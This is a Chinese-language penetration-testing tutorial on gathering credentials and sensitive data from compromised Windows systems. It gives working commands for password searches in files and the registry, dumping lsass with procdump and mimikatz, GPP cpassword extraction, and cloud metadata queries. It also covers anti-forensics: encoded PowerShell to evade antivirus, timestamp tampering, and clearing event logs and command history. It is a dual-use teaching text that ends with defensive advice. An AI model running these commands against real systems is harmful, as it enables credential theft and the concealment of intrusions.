Windows渗透测试中的敏感信息收集技术详解

📅 2026/7/26 4:26:38 ✍️ 编辑团队 👁️ 阅读次数
Windows渗透测试中的敏感信息收集技术详解
1. 项目概述在渗透测试和红队评估中Windows系统权限提升是核心技能之一。当我们通过初始漏洞获取了某个Windows系统的低权限访问后如何进一步收集系统敏感信息、寻找提权突破口就成了决定评估深度的关键环节。这个项目主要聚焦Windows系统敏感信息收集的技术细节这是OSCP等实战认证考试中的必考内容也是企业安全评估中的高频需求。我曾在多个企业内网渗透项目中验证过这套方法发现即使是配置严格的生产环境也常常因为管理员疏忽而遗留关键信息。比如在某次金融行业评估中我们通过检索IIS日志中的备份文件路径最终定位到包含域管理员凭据的批处理脚本。这种信息收集-线索关联-横向移动的链条正是Windows渗透的标准打法。2. 核心思路解析2.1 敏感信息的定义与价值Windows系统中的敏感信息主要包括凭据类明文密码、密码哈希、API密钥、连接字符串配置类服务账户信息、注册表键值、组策略首选项文档类包含敏感内容的txt/ini/xml等文本文件日志类应用日志、安装日志、RDP连接记录这些信息往往分散在文件系统、注册表、内存、服务配置等多个位置。专业渗透测试人员需要像侦探一样通过系统性的搜索和关联分析将这些碎片拼合成完整的攻击路径。2.2 信息收集方法论经过多个实战项目总结我推荐采用分层搜索策略快速扫描层使用自动化脚本快速抓取明显目标深度挖掘层针对特定区域进行人工验证关联分析层交叉验证不同来源的信息这种分层方法既能保证覆盖广度又能避免遗漏关键细节。下面我们具体看实现方式。3. 实操步骤详解3.1 基础环境准备推荐使用以下工具组合PowerUp.ps1检查服务、计划任务等配置漏洞WinPEAS自动化信息收集脚本AccessChk检查文件/注册表权限自定义PowerShell脚本针对特定场景的深度搜索提示在实际评估中建议先将工具上传到目标系统的C:\Windows\Temp\目录该路径通常有写入权限且不易触发告警。3.2 文件系统敏感信息搜索3.2.1 常规文件搜索技巧# 搜索包含password关键字的文件 Select-String -Path C:\*.config,C:\*.xml,C:\*.ini -Pattern password -Recurse -ErrorAction SilentlyContinue # 查找最近修改的敏感文件 Get-ChildItem -Path C:\ -Include *.txt,*.bat,*.cmd -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) } | Select-Object FullName,LastWriteTime重点关注目录C:\Windows\Panther\安装日志可能含本地管理员密码C:\Windows\Temp\临时文件常含配置信息C:\Users\[用户名]\AppData\Local\应用存储的配置文件3.2.2 备份文件挖掘实战许多管理员会创建backup、old等目录存放旧文件。我曾通过以下命令发现过数据库连接字符串Get-ChildItem -Path C:\ -Include *.bak,*.old,*copy* -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.Length -lt 5MB } | # 过滤大文件 Select-Object FullName3.3 注册表敏感信息提取3.3.1 常见敏感注册表项# 检查自动登录凭据 reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v DefaultPassword # 检索Putty保存的会话信息 reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s3.3.2 注册表深度挖掘技巧使用AccessChk检查可写注册表项accesschk.exe -uwcqv Authenticated Users -k hklm\software我曾在一个政府项目中通过可写的HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run注册表项实现持久化。3.4 内存与进程信息收集3.4.1 进程内存转储使用Procdump提取lsass.exe内存procdump.exe -accepteula -ma lsass.exe lsass.dmp然后使用mimikatz离线提取凭据mimikatz.exe sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full exit3.4.2 环境变量检查Get-ChildItem Env: | Where-Object { $_.Value -match pass|key|secret }4. 高级技巧与实战案例4.1 组策略首选项(GPP)漏洞利用检查\\DOMAIN\SYSVOL\DOMAIN\Policies\中的XML文件Get-ChildItem -Path C:\Windows\SYSVOL\Domain\Policies\ -Filter *.xml -Recurse | Select-String -Pattern cpassword -List | Select-Object Path找到的cPassword值可用gpp-decrypt工具解密。4.2 IIS日志分析实战检查IIS日志中的敏感操作Get-ChildItem -Path C:\inetpub\logs\LogFiles\W3SVC* -Filter *.log -Recurse | Select-String -Pattern upload|admin|backup|password | Select-Object Line,FileName在某次医疗行业评估中我们通过分析IIS日志发现了管理员通过Web界面重置密码的记录。5. 防御对抗与痕迹清理5.1 对抗AV检测的技巧使用混淆的PowerShell脚本$encoded [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(Get-Content -Path script.ps1 -Raw)) powershell.exe -EncodedCommand $encoded修改文件时间戳(Get-Item found_file.txt).LastWriteTime (Get-Date).AddDays(-30)5.2 操作日志清理清除PowerShell历史记录Remove-Item (Get-PSReadlineOption).HistorySavePath清除事件日志wevtutil.exe cl Security wevtutil.exe cl System6. 自动化脚本开发实践6.1 敏感信息收集脚本示例$output () $keywords password,secret,key,connectionstring,admin # 文件内容搜索 foreach ($kw in $keywords) { $results Select-String -Path C:\*.config,C:\*.xml,C:\*.ini -Pattern $kw -Recurse -ErrorAction SilentlyContinue foreach ($r in $results) { $output [PSCustomObject]{ Type FileContent Path $r.Path Line $r.LineNumber Match $r.Line } } } # 注册表搜索 $regPaths ( HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, HKCU:\Software\SimonTatham\PuTTY\Sessions ) foreach ($path in $regPaths) { if (Test-Path $path) { $props Get-ItemProperty -Path $path foreach ($prop in $props.PSObject.Properties) { if ($prop.Name -match password|key) { $output [PSCustomObject]{ Type Registry Path $path Key $prop.Name Value $prop.Value } } } } } $output | Export-Csv -Path C:\Windows\Temp\results.csv -NoTypeInformation6.2 脚本优化技巧添加随机延迟避免行为检测Start-Sleep -Seconds (Get-Random -Minimum 1 -Maximum 10)使用WMI替代直接文件操作Get-WmiObject -Query SELECT * FROM CIM_DataFile WHERE Extension config AND Drive C:7. 企业环境特殊考量7.1 域环境信息收集检查组策略首选项Get-ChildItem -Path \\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies\ -Filter *.xml -Recurse | Select-String -Pattern cpassword -List查询域控制器信息nltest /dclist:$env:USERDNSDOMAIN7.2 云环境适配在Azure混合环境中检查Azure代理配置文件C:\Program Files\Microsoft Azure Recovery Services Agent\Scratch\AWS元数据服务http://169.254.169.254/latest/meta-data/8. 防御建议与加固措施8.1 企业防御策略文件系统监控对敏感目录设置变更告警注册表保护限制关键注册表项的访问权限日志强化集中收集PowerShell操作日志凭证管理禁用组策略首选项中的密码存储8.2 个人加固建议定期检查计划任务schtasks /query /fo LIST /v审核启动项wmic startup get caption,command检查服务权限sc.exe sdshow servicename在最近一次金融行业红队演练中我们发现某系统管理员将数据库连接字符串硬编码在ASP页面中。通过系统性的信息收集我们最终获得了整个业务区的访问权限。这再次证明Windows系统信息收集是渗透测试中最具性价比的攻击面之一。